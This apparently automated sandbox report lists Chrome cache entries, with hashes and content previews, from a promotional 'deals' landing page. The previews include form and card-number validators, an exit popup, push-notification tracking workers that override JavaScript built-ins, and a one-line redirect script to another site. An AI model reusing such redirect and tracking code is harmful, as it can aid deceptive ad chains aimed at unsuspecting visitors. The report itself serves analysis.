MD5:	21FECC0B5674095B1DB15F87B9C07873
SHA1:	3C8B7D7DAA6D007B225C2A2981F4AD0035841A3C
SHA-256:	B0604FA55FD0A9A2A748BCE311BC5C78B701711390524C65D453E26C2F18C9DA
SHA-512:	BAFF6E98F0ED0D016EF4F2587316BFC3C0AF76C6E683278587BC2C45583A65659CE01F53C7AB2DDE79257467FE7F85E585492846D7F71F4DBBA27B8A767BBB79
Malicious:	false
Reputation:	low
URL:	https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/app/desktop/images/tick-input_1.png
Preview:	.PNG........IHDR.............,..n...QPLTELiq7{1W.Nj._j._i.^^.TD.<R.JT.Kf.[7{1;.5>.79}3L.DX.P[.R`.Wg.]l.bw.l..v..y..\|..~.....`....tRNS...<CFlz..........-...cIDATx..Y.. ..QW..Rh...T.(Q...k....%...xV7..........#.X5Ei.. $Z.$E...LA..v... .V$.d.$.r.O.v.W;...).[......IEND.B`.

Chrome Cache Entry: 117

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1373 x 170, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	26093
Entropy (8bit):	7.955726851772485
Encrypted:	false
SSDEEP:	384:4GP4OUGeYePDSg+9J5s/DY74+05uzApl9iC65/DO3ajDi5moA7I7PHEnSkgCFc:TPcHCJ5s/cELpStpDdjDi5moFaU
MD5:	DAC6375E62D1B34C0AEF49DEA22A289C
SHA1:	4D8F66AF11F6EC51E026A268D8F3597139CD47B1
SHA-256:	E02C67F644BE8472B1989F8E2C4BB93DDC921BD3F6B84F26F7C67DAF6F529B50
SHA-512:	6E5217CA4F1AC8C5D4CB94F00E95617DB6F9E17278987467FE752587C3751FBEC0AD3809C4D87E25406DB2C32BB700A68561870891BE98C61902F1E9F0909EBC
Malicious:	false
Reputation:	low
URL:	https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/app/desktop/images/verified.png
Preview:	.PNG........IHDR...]..........o......PLTE...............nnn...............'$&xxxtaa......qqq...#!$...........vvw......434ABDSTU...KJK'&)............+-ZZ[........jij.>Z......nnn..POP^^_ccdril1/1........._vnmo...aFO...445...::;wwxxxx...xxx......vvwvvw...xxy635..\ECD635xxy;8;634845...xxy..A>@..S....Fwwx..._635wxy..744745........yyz..C...yxz635..+....C....C...xxy.Ga...u.....h............. E..C..C.......C..C..N..(Bihi...635..Bxxy..C635.....+....T.3Q844.AZ.....+..W.s..\|...7............,.cy.Rl.....+.....nnn.....+..C.7J.Sl.\|...&..,....M.Wo.f}....{.......nnn.&7....m............)....>\.Sn.-bem..c...dU2..3..D../..`.=Y..>...745.....+"..xxy..:..2...........? ....B.....8".!..7..3..9..5..%..A..:..1..?..+..-.......D..:..(..&..=...aad..@...&).o.8...7C#Of--5 a.4z.=FN,.....'../{f1.q......tRNS.............bKc<.&.D..Z,..R..19/7.i.}..p%.t.....w.......E.;\Fs.%MR..2..h...XW.a..H..^..I%...'....s[.@...i....x^....s.p.v.....\|._.........u.....J.,.................

Chrome Cache Entry: 118

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=12, height=1064, bps=158, PhotometricIntepretation=RGB, orientation=upper-left, width=1900], progressive, precision 8, 2648x1355, components 3
Category:	downloaded
Size (bytes):	1356303
Entropy (8bit):	7.976374104982008
Encrypted:	false
SSDEEP:	24576:FLa/ogi0x2qY+uVQRKX+tbujUS0feznQMHO9d6a2vOJcsjj4+:owgp2qY+uk5ezI9d6a2+csjjN
MD5:	FC0E5F7D62B8A6B4F9677F5C10F67FCB
SHA1:	1A88F0D96DB00B7809F275119FB4AD697315EA21
SHA-256:	7D42C121F935FF09B25009AC484D7EFEE05CF5D54186826533C468DA2FCF5328
SHA-512:	215D7FC1C9926F96166CFB9C922F3EA9BD0D949475AE57317E416A9BC487885F07FA749AB5C1C8C4EEB959AA4BE474B47918AD3B99E96C72E743088802DBCF08
Malicious:	false
Reputation:	low
URL:	https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/app/desktop/images/index/2ndcar-kit.jpg
Preview:	.....UExif..II*...............l...........(...........................................................................(...........1...........2...........i........... ..............'.......'..Adobe Photoshop 21.0 (Windows).2024:06:11 15:47:25............0231....................X...........K...............................n...........v...(...................~...................H.......H.............Adobe_CM......Adobe.d.................................................................................................................................................R...."................?..........................................................................3......!.1.AQa."q.2.....B#$.R.b34r..C.%.S...cs5....&D.TdE.t6..U.e...u..F'...............Vfv........7GWgw........................5.....!1..AQaq"..2.....B#.R..3$b.r..CS.cs4.%......&5..D.T..dEU6te....u..F...............Vfv........'7GWgw.................?..m{......x.^.....[.8I...x.....F..k...:4....v}4.^..;a..$....-..k-$.........q

Chrome Cache Entry: 119

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	3161
Entropy (8bit):	4.107696959162649
Encrypted:	false
SSDEEP:	48:R0ac+rPJYViiItibcANc+5Pxr3Fdr5W8YNUSnKNfXCnGEr/au3xBQR/:/OViiItiPlxrfrCKSKVCnGEXA
MD5:	A63AA6EAC427B6B33C696473D9B201F4
SHA1:	B816BAE1BDECB9A53A15A2DEB4641E2EB3E6D891
SHA-256:	2C76BF386DFE289B1145A54C630F2D84B22B14744F453235232DAB9C856CB894
SHA-512:	5953FA40A895FDDA0DA530BB0EE708654C378285E54F4DF3BDA1420063F5C91FC8964592C117D80C8A21811B62EDE59BBF25BAF25F7569CDFC2784C35521724A
Malicious:	false
Reputation:	low
URL:	https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/extensions/Validator/js/validator.js
Preview:	var errorClass = 'has-error';.var validClass = 'no-error';.var country = $('select[name$=Country]');.var zipSelector = $('input[name=shippingZip]');..if (validator_data.enable_statecode_validation) {.. country. .change(function () {.. FwUtils.log('Country changed');. var c_code = $(this).val();. if(typeof c_code !== "undefined" && . c_code !='' && c_code == "CA" && . !validator_data.enable_ca_statecode_validation){. return;. }. if(typeof c_code !== "undefined" && c_code !='' && . c_code == "US" && !validator_data.enable_us_statecode_validation){. return;. }. . if($(this).attr('name') == 'billingCountry'). {. zipSelector = $('input[name=billingZip]');. country = $('select[name=billingCountry]');.

Chrome Cache Entry: 120

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	402
Entropy (8bit):	5.027711306170465
Encrypted:	false
SSDEEP:	6:wLGqa+eJmYYhhfgQVyGQqoYGni8dIgDcVW/FLDVegDucyPKUsdIN3VW/FLDVegD9:w5tuQDGnrhaWVpLSFKUSYWVpLSFKUG
MD5:	277B7B52481E1E8DD629CE87FC59DABF
SHA1:	4168513BFA35F80AF8EA0CC0A003AD200A77723F
SHA-256:	34BDBC24A32F7D11B673E014B46EFEF065E5FBC7D3C83BA8A75386FA71C3FDBD
SHA-512:	B9D3918E6D24A77E3496A14812A0234FF7F6018D9BEB8C7AB8850C1C63AA6F472C34E7EDC710140F3427262CF6931968D893475450EE38BEB4476B2ADAD1A7FD
Malicious:	false
Reputation:	low
Preview:	$(function() {.. if (typeof cbUtilConfig !== 'object') {.. return;.. }.. if (cbUtilConfig.disable_non_english_char_input) {.. .$(document).on('keyup', 'input', function(){.. ..$(this).val($(this).val().replace(/[^\x00-\x7F]/g, ''));.. .});.. .$(document).on('change', 'input', function(){.. ..$(this).val($(this).val().replace(/[^\x00-\x7F]/g, ''));.. .});.. }..});

Chrome Cache Entry: 121

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8139)
Category:	dropped
Size (bytes):	8140
Entropy (8bit):	5.226933429372996
Encrypted:	false
SSDEEP:	192:T9CXUIO2wUcWTOZBdEhC+eydsdof+4Wd/si4E+wC/Hhdk/yMJV4pHn6my+wg:T9u3wUpTSdQWydsdorWdkit8BdLMY96k
MD5:	AB8AB16279ED2EE8CB9A7FD8EBCE1D75
SHA1:	55899CAADF1562FC90F1F931AFC85662A7E1BD5C
SHA-256:	0023A8F8391B10006EE27598323DE8D0E3D019755E8F7A16E88464B1AEF00B39
SHA-512:	1D32B958EA4C0A3EA882F2EDCB4913F329AD22496DA8F6FAD081004B225D2611480D070EC451E7AC8FE8450AF7A32A22062BB70AC92E47B68A146466B99AD7C4
Malicious:	false
Reputation:	low
Preview:	'use strict';const smPushApplicationServerPublicKey="BJbujtKImkiLWjlWkMGYMo2_sM0al24KoS7U6TJ1U7sKJaxlIULz5s6p7tN6WbnLisCq_Si5hP7X0769TvPDFTQ=",smPushSiteId="v9e118mez8",smClientId="q2goykjdrv",serviceWorker="/service-worker.js";let smPushDomain="push.trk-elevostra.com",pushLogging=!0;const version=818;let smPushSubscriptionId,subscriptionDomain="subscription.trk-elevostra.com",eventDomain="event.trk-elevostra.com",sessionId="";const utmObj={mt:"",utm_source:"",utm_medium:"",utm_campaign:"",source_one:"",source_two:"",source_three:"",source_four:"",source_five:"",first_name:"",last_name:"",email:"",email_md5:"",zip_code:"",gender:"",age:""},taboolaUrl="https://api.taboola.com/2.0/json/smpush-general/user.sync?app.type=web&app.apikey=dd83e155339c3c4626a1a3e8465b50db3024b412";function urlBase64ToUint8Array(a){const b="=".repeat((4-a.length%4)%4),c=(a+b).replace(/\-/g,"+").replace(/_/g,"/"),d=window.atob(c),e=new Uint8Array(d.length);for(let b=0;b<d.length;++b)e[b]=d.charCodeAt(b);return e

Chrome Cache Entry: 122

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 184 x 182
Category:	downloaded
Size (bytes):	88139
Entropy (8bit):	7.9373861913409165
Encrypted:	false
SSDEEP:	1536:5AySpVeTaOCV+2Rg98qXIMW62CHoIVqiHl8UM/HpjeD+MoYoV8DNU:CZpVjV9SPYM8pI02lHeJjeqBV8D+
MD5:	B5BAD20F0706B33484B0EF5E81118426
SHA1:	0680E07A39105A70AC8E03E23551369E25BD1BFC
SHA-256:	887D2B7EE3326783AF0D945F93E12DF5D8B5A8253EF6D8E39009979C67CA89AE
SHA-512:	245B9CB489534771E26EF460965F3EAE7AA59DF35227FA32F5E2C9A6E2B478D70FDE1D0D72BA826AA199529E10B5A8CADEE10AB546C975AE22C272717A4911A9
Malicious:	false
Reputation:	low
URL:	https://pawern.markiwalk.lat/master/us217/loadingBL.gif
Preview:	GIF89a.............................................................\S.h`..{....6+.9-.;0.>3.?5.@7~C9.D;.I?.G>.MD.PG.TK.XP.`X.f^.rj.qj.}u.vo....................................0+w....................................................................(,i.........in........................................S[.........................................@^..............................q........Lgw.........................................................:.\|........................y.R...............................L.f.....................................................................................C.-f.Vs.e..w................................C.+E.+E.-G.-G./H.1K.5P.;Y.F\.I\|.n.............................................................................................!..NETSCAPE2.0.....!.......,...............H......*\.a<..#J.H....3j.... C..IR..(S.\...0c.........`D.........v...t&..0.2.J...X..m..%..Rk..K...g.....[.P...K..X.m...k3.\...[].w.^...+V. Ia.M.&^L........[..g.

Chrome Cache Entry: 123

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	4537
Entropy (8bit):	4.663571722222531
Encrypted:	false
SSDEEP:	96:hswZiZfMq85JESNQSsBXy8SO+nLos89iszCu5:VESNQScXdSO+nUs89RCu5
MD5:	1A7B88AF6E8AE2BC49123105E27FD624
SHA1:	CB0CAA758A4A05C8A146101DBBCF40428696DD08
SHA-256:	5F803CB4D2766F5773004B575B909289BA6DB7F35EDF6EDD88CE8E07DAF5910B
SHA-512:	C6B8C9ED2B5CB8571CE6ED037CC29C102B17265469C039D3FDF0C30FC6B30A18F7B2A64261E499AB2DA8B79B397444420EED8B58B3EA760CE8886EBA8FE6976F
Malicious:	false
Reputation:	low
URL:	https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/assets/js/validator.js
Preview:	'use strict'.var validator = (function() {. /. Regular expressions for vlidations. /. var patterns = {. zip: {. US: /(^\d{5}$)\|(^\d{5}-\d{4}$)/,. default: /^[a-zA-Z0-9-\s]+$/. },. email: {. first: /^[A-Za-z0-9\+]+([-._][A-Za-z0-9\+]+)@([A-Za-z0-9\+]+(-[A-Za-z0-9\+]+)\.)+[A-Za-z]{2,24}$/,. last: /^(?=.{1,64}@.{4,64}$)(?=.{6,100}$).*/. },. phone: /^(?:(?:$?(?:00\|\+)([1-4]\d\d\|[1-9]\d?)$?)?[\-\.\ \\\/]?)?((?:$?\d{1,}$?[\-\.\ \\\/]?){0,})(?:[\-\.\ \\\/]?(?:#\|ext\.?\|extension\|x)[\-\.\ \\\/]?(\d+))?$/i,. cardNumber: {. visa: /^4[0-9]{12}(?:[0-9]{3})?$/,. master: /^(?:5[1-5][0-9]{2}\|222[1-9]\|22[3-9][0-9]\|2[3-6][0-9]{2}\|27[01][0-9]\|2720)[0-9]{12}$/,. maestro: /^(5018\|5020\|5038\|5612\|5893\|6304\|6390\|6759\|676[1-3]\|0604)/,. amex: /^3[47][0-9]{13}$/,. diners: /^3(?:0[0-5]\|[68][0-9])[0-9]{11}$/,. discover: /^6(?:011\|5[0-9]{2})[0-

Chrome Cache Entry: 124

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=12, height=1064, bps=158, PhotometricIntepretation=RGB, orientation=upper-left, width=1900], progressive, precision 8, 2648x1355, components 3
Category:	dropped
Size (bytes):	1356303
Entropy (8bit):	7.976374104982008
Encrypted:	false
SSDEEP:	24576:FLa/ogi0x2qY+uVQRKX+tbujUS0feznQMHO9d6a2vOJcsjj4+:owgp2qY+uk5ezI9d6a2+csjjN
MD5:	FC0E5F7D62B8A6B4F9677F5C10F67FCB
SHA1:	1A88F0D96DB00B7809F275119FB4AD697315EA21
SHA-256:	7D42C121F935FF09B25009AC484D7EFEE05CF5D54186826533C468DA2FCF5328
SHA-512:	215D7FC1C9926F96166CFB9C922F3EA9BD0D949475AE57317E416A9BC487885F07FA749AB5C1C8C4EEB959AA4BE474B47918AD3B99E96C72E743088802DBCF08
Malicious:	false
Reputation:	low
Preview:	.....UExif..II*...............l...........(...........................................................................(...........1...........2...........i........... ..............'.......'..Adobe Photoshop 21.0 (Windows).2024:06:11 15:47:25............0231....................X...........K...............................n...........v...(...................~...................H.......H.............Adobe_CM......Adobe.d.................................................................................................................................................R...."................?..........................................................................3......!.1.AQa."q.2.....B#$.R.b34r..C.%.S...cs5....&D.TdE.t6..U.e...u..F'...............Vfv........7GWgw........................5.....!1..AQaq"..2.....B#.R..3$b.r..CS.cs4.%......&5..D.T..dEU6te....u..F...............Vfv........'7GWgw.................?..m{......x.^.....[.8I...x.....F..k...:4....v}4.^..;a..$....-..k-$.........q

Chrome Cache Entry: 125

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4442
Entropy (8bit):	4.708949293504246
Encrypted:	false
SSDEEP:	96:ZFTrEyW3JwQsfPBFf8PjHvYgZQfZWgFkFcqDCviO:ZFTYx+PBl8PjvGf4gFkFcFviO
MD5:	C796B253B1046D7E3C2E3679FC1DDFF3
SHA1:	6614D70D11B4907BC74143EB374F084625D8CCCD
SHA-256:	717C1E30A97C59911B5C41462D952F0CC70536A09878E57CD50EA6C3DBCD4B01
SHA-512:	66D4714485D16C49BA65D856F9139D69F36F0CBDE72FD9D7B58866D98DEAFF1D1A98F44A9E499638E937893819F35EE920FA3233BD2B28EDF6B6F2EC83236B3B
Malicious:	false
Reputation:	low
Preview:	// var offerDetailStep = 'offer_details_step' + app_config.offer_current_step.toString();..// var exitPopup = 'exit_popup' + app_config.downsell_current_step.toString() + '_enabled';..// var exitPopupElem = 'exit_popup' + app_config.downsell_current_step.toString() + '_element_id';..// var exitPopupText = 'exit_popup' + app_config.downsell_current_step.toString() + '_browser_alert_text';....cb.ignoreExitPop = !app_config.exit_popup_enabled;..(function($) {.. $(document).ready(function() {.. window.onbeforeunload = function() {.. if (!cb.ignoreExitPop && $('#' + app_config.exit_popup_element_id).length) {.. cb.ignoreExitPop = true;.. $('#' + app_config.exit_popup_element_id).show();.. return "Want to exit";.. }.. };.. });..})(jQuery);....function ouibounce(el, config) {.. var config = config \|\| {},.. aggressive = config.aggressive \|\| false,.. sensitivity = setDefault(config.sensitivit

Chrome Cache Entry: 126

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (11696)
Category:	downloaded
Size (bytes):	11697
Entropy (8bit):	5.285499329898003
Encrypted:	false
SSDEEP:	192:TpnHvprnectg07AKE2H+6W/ed2orSibOinqbNE0vaUSJ5culHT+:TpHvBeUXAKE2e/ed2orJOinqbNELUSQx
MD5:	5D6D02F023CFE873EFCBCA97675AE1B9
SHA1:	EACE3A578B49DF18F18099755BC408756A1B3955
SHA-256:	560B139F5A65D6CD2EA065BFC2678095CBA7C4CF4A6378D09E937CCB26DD175E
SHA-512:	17510F82164763AA53591D01582E1F87FBDCA40F07F636F0D9082E6A97D27C4E40349F35B17954644468BDC7F411ABBA19667949168D960208B5B7086D854DC4
Malicious:	false
Reputation:	low
URL:	https://trk-dynamoris.com/scripts/sw/v9e118mez8
Preview:	'use strict';const env={log:!0,retry:10,sleepTime:1e4,domain:"push.trk-dynamoris.com",notificationDomain:"notification.trk-dynamoris.com",subscriptionDomain:"subscription.trk-dynamoris.com",eventDomain:"event.trk-dynamoris.com"},applicationServerPublicKey="BJbujtKImkiLWjlWkMGYMo2_sM0al24KoS7U6TJ1U7sKJaxlIULz5s6p7tN6WbnLisCq_Si5hP7X0769TvPDFTQ=",siteId="v9e118mez8",smClientId="q2goykjdrv",version=533,smAPIKey="29788ca9761a4b78abcfb1c3eabb8e68";let smPushSubscriptionId;function getStore(a){if(self.indexedDB){var b=self.indexedDB.open("pushPlatFormDb",2);b.onerror=function(){console.log("error db"+b.error),a(null)},b.onsuccess=function(){var c=b.result,d=c.transaction(["store"],"readwrite"),e=d.objectStore("store");a(e)},b.onupgradeneeded=function(a){console.log("upgrading db from version "+a.oldVersion+" to 2");var c=b.result;if(2>a.oldVersion){var d=c.createObjectStore("store",{keyPath:"name"});setUserDataInStore("",null,[],[],[],d)}}}else a(null)}function arrayRotate(a,b){return b?a.un

Chrome Cache Entry: 127

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 250 x 250, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	70077
Entropy (8bit):	6.990378158380422
Encrypted:	false
SSDEEP:	1536:pXFJNW/nFd+jLVT7G348852+uaQneRpT6eJb4OkpsLFyeuJ0:PW/nFd+jLVT7G31u2+uxje54wQzJ0
MD5:	C4FAED90CD2CFB32394A696399CAD0C8
SHA1:	D17DCC4FFBFEA363280F0B71557E6092D308DDB9
SHA-256:	880BBC2874C289A5AE1C676116AC56A9BB7CB885467131FE8D2EDCB90550F9AC
SHA-512:	FC5E44704F4A39DC47D2B5A1883B6EE3E6076FDC77FC40C67549A92B3366A385C70F3E44A052C4A89162FA8A2874AF16EBFE7E9E1E886E906B2745DAF2A22E96
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR..............2.....fiTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164488, 2020/07/10-22:06:53 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 21.0 (Windows)" xmp:CreateDate="2022-04-21T21:45:13+08:00" xmp:ModifyDate="2024-09-05T22:06:50+05:30" xmp:MetadataDate="2024-09-05T22:06:50+05:30" dc:format="image/png" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1" xmpMM:InstanceID="xmp.iid:bdabe0e0-5e4f-764a-88aa-d538fe8e5d89" xmpMM:DocumentID="adobe:docid:photoshop:a7cdd38f-6bf8-1444-b9a6-91387a50a347" xmpMM:OriginalDocumen

Chrome Cache Entry: 128

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (336)
Category:	downloaded
Size (bytes):	26107
Entropy (8bit):	4.368161931141344
Encrypted:	false
SSDEEP:	192:QCW2UL8WM0guk/7E7JCTk8TRwT8jz8inD0E+Cr5K8iEB5UglQzGP2rMyJP/Dgk/6:9cikYK0juJIUbSJCsFp
MD5:	771FB6B4864185EE96C6D538B5CA4FC7
SHA1:	F16951881F59B4F12F8FD52AA114E1C513AF86F4
SHA-256:	FEC88175C43B57CEB57A85635E11EDB8FCD0A94A20DE830B7DE528540AA40A84
SHA-512:	6855423A9C507F212FBEAED94341D6493B930BD6C26DD4D4425B48FA83C626CEABBD82426E0B7532B1316B8BB0FA684E8EC914F38422BAD55F8EF7D12E2B9131
Malicious:	false
Reputation:	low
URL:	https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/assets/js/form_handler.js
Preview:	(function ($) {. 'use strict';. $.fn.formHandler = function (_selfOptions) {. /*. -------------------------------------------------------------. * Check the existence of the element before binding any events. * on its childrens.. * -------------------------------------------------------------. /. if (!this.length) {. return false;. }. $(this).attr('novalidate', 'novalidate');. /. ------------------------------------------------. * The error modal is set to true by default.. * ------------------------------------------------. */. var defaults = {. errorModal: true,. autoFillFormElement: false,. countryDropdown: 'Select Country',. ajaxLoader: {. div: '',. timeInOut: 0. },. responseLoader: {. div: '',. timeInOut: 0. }

Chrome Cache Entry: 129

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65348)
Category:	downloaded
Size (bytes):	71750
Entropy (8bit):	5.119130414843615
Encrypted:	false
SSDEEP:	1536:h6uNQ3fdPwwanleMf72yMPkZ8PFwh1nAukdDO3Xyr5Ir5eh0dTo:AkZgwh1nAukdDO3Xyr5Ir5eh0dTo
MD5:	C0BE8E53226AC34833FD9B5DBC01EBC5
SHA1:	B81EF1B22DE26AF8A7A4656F565FBC91A69D7518
SHA-256:	5FBAEB9F8E25D7E0143BAE61D4B1802C16CE7390B96CEB2D498B0D96FF4C853F
SHA-512:	738DAA4D2C3FC0F677FF92C1CC3F81C397FB6D2176A31A2EEB011BF88FE5A9E68A57914321F32FBD1A7BEF6CB88DC24B2AE1943A96C931D83F053979D1F25803
Malicious:	false
Reputation:	low
URL:	https://pawern.markiwalk.lat/master/us217/animate.min.css
Preview:	@charset "UTF-8";/!. animate.css - https://animate.style/. * Version - 4.1.1. * Licensed under the MIT license - http://opensource.org/licenses/MIT. . Copyright (c) 2020 Animate.css. /:root{--animate-duration:1s;--animate-delay:1s;--animate-repeat:1}.animate__animated{-webkit-animation-duration:1s;animation-duration:1s;-webkit-animation-duration:var(--animate-duration);animation-duration:var(--animate-duration);-webkit-animation-fill-mode:both;animation-fill-mode:both}.animate__animated.animate__infinite{-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite}.animate__animated.animate__repeat-1{-webkit-animation-iteration-count:1;animation-iteration-count:1;-webkit-animation-iteration-count:var(--animate-repeat);animation-iteration-count:var(--animate-repeat)}.animate__animated.animate__repeat-2{-webkit-animation-iteration-count:2;animation-iteration-count:2;-webkit-animation-iteration-count:calc(var(--animate-repeat)2);animation-iteration-count:calc(var(

Chrome Cache Entry: 130

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8009)
Category:	downloaded
Size (bytes):	8010
Entropy (8bit):	5.215296387848121
Encrypted:	false
SSDEEP:	96:HH6prnCOdiI19dQm696Tpv1c9A0bBZXgDebFaIuydKwplxmn30pIccR:HH6prnkCdT6id16AeBVgDqzumJLpIJ
MD5:	F9F487757615612444D58FE1CA384B47
SHA1:	F9004993A395C8A7D6B849FEEB640296E06EBD1D
SHA-256:	A82C64A6FED7CF86DC03D7467F9F1DE85575F71D5C48A0AA229B6EBC202F8CA0
SHA-512:	E998FF44F53F961FF566C9F8A08BDB472CF60D06D4D39AB6761E52C9324525AE6D6A246FF41E0FA2E22E900191BFF0A0812635EC36C81F5DF47257E3248CE097
Malicious:	false
Reputation:	low
URL:	https://trk-dynamoris.com/scripts/pg/v9e118mez8
Preview:	(function(a,b){function c(a){try{console.log=E}catch(a){}E(a)}function d(a){if(self.indexedDB){var b=G.apply(self.indexedDB,["pushPlatFormDb",2]);b.onerror=function(){console.log("error db"+b.error),a(null)},b.onsuccess=function(){var c=b.result,d=c.transaction(["store"],"readwrite"),e=d.objectStore("store");a(e)},b.onupgradeneeded=function(a){console.log("upgrading db from version "+a.oldVersion+" to 2");var c=b.result;if(2>a.oldVersion){var d=c.createObjectStore("store",{keyPath:"name"});k("",null,[],[],[],d)}}}else a(null)}function e(){try{Array=q,Array.prototype=q,Response=v,Response.prototype=x,Function.prototype.apply=H}catch(a){i("ext_ov_error",a,m)}}function f(a){return function(b){var f=!1;try{if(e(),"push"===b.type&&null!=b.data)try{let a=b.data.json();null!=a&&null!=a&&(f="Zkx"in a)}catch(a){c(a)}else if("notificationclick"===b.type\|\|"notificationclose"===b.type)try{let a=b.notification.data;null!=a&&null!=a&&(f="Zkx"in b.notification.data)}catch(a){c(a)}}catch(a){c("init_er

Chrome Cache Entry: 131

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	148
Entropy (8bit):	5.017688191336176
Encrypted:	false
SSDEEP:	3:gnkAqRAdu6/GY7voOkADYnmaKh6jKUp4vtT6CcdGQcrEHeYb:7AqJm7+mYnG4MtuCsHbHeYb
MD5:	AD0344E0A2300E0C7D6491AE181B09DB
SHA1:	269740B21FBD9DE24FAB8297E7761A46827A0151
SHA-256:	E3178CCB21221BBFDC60E90878DCF3593EA5D30A09D14FD8F1D354BECCB8275A
SHA-512:	F8BDFB83F1707B49D8D2F4F40173C56904A1910AAF87A779AA8EADA2C2453BE65E0A3B0ED7AAC9243A5A86E41DE2C0E2D767D4037F61D639D1C060955190FF0C
Malicious:	false
Reputation:	low
URL:	https://vaultdores.com/0/0/0/264e35134ac25f9de46ef31bca03b2d6/9/372-16527/1270-243896-29108
Preview:	<script type="text/javascript">window.location.href="https://kindacoil.site/?id=297&s1=351518&s2=1236503140&s3=7605&s4=4598&p=us5yasweps3a"</script>

Chrome Cache Entry: 132

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	12564
Entropy (8bit):	4.669626503765214
Encrypted:	false
SSDEEP:	192:vQ72cQxQ3GVRNBBXwAMkH07iI/zibwksOApFzhn4S3ay3sOy4VJYRAe1cYKMQ/cv:IQbt2X3ay3Lsue1mSUPXO
MD5:	0E0218F7DFBBCE3AEA2CAE3F4A0253A0
SHA1:	3CC17D571BFA19E8C912F7B842062E1984433E4E
SHA-256:	F5F76E00AA49C85CD7F7C5259EF14D1A248F7E3E086E63B8F6EFB44C635C6723
SHA-512:	CC22873AED08CF496BFA49047E0231305B98604135422EAC3764AA2BFD980E395940AF298AE73AD95EECC5FB8113C3ED594E723434976123E1E028E6FE94FF3A
Malicious:	false
Reputation:	low
Preview:	/*. Change Log:. * # Custom Error/Success callbacks. * # test. */.(function ($) {. $(function () {.. $('form[name=prospect_form1]').formHandler({. type: 'prospect',. errorModal: true,. autoFillFormElement: 'prospect_form2', // form name only. countryDropdown: 'Select Country',. ajaxLoader: {. div: '#loading-indicator',. timeInOut: 0. },. // responseLoader: {. // div: '#crm-response-container',. // timeInOut: 0. // },. // onSuccess: function (response) {. // console.log('Response: ', response);. // },. // onError: function (response) {. // console.log('Response: ', response);. // }. });.. $('form[name=prospect_form2]').formHandler({. type: 'prospect',. errorModal: true,. autoFillFormElement: 'prospect_form1',

Chrome Cache Entry: 133

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1227
Entropy (8bit):	4.490432644426697
Encrypted:	false
SSDEEP:	24:4BECzORRQDRRW/RRVbBEurRR7fawBEuJRW4BEQotf3E/2YYWLi9glpU+ABEwWLin:MEC6WunEmvflEOwMEbE/9Y4iec3Ew4in
MD5:	0CB7C846556317370C50B41093BE8364
SHA1:	9C0CEA50A92937BF29248FB27C6E709D5FF0A296
SHA-256:	46D905535D1C01DCE9AE142489D9B063640D239444EADF5E86ED2911764238C2
SHA-512:	E24E5CED8047256176E3189C7BB9F4C89623DBD7893EAA413B36A8DFF6FAEF92B1EB6E73761AC71A72AE9965B4C38DF4AFE7349920871EB8E9D166BCB4371A55
Malicious:	false
Reputation:	low
URL:	https://pawern.markiwalk.lat/master/terms/js/_modal.js?v=7
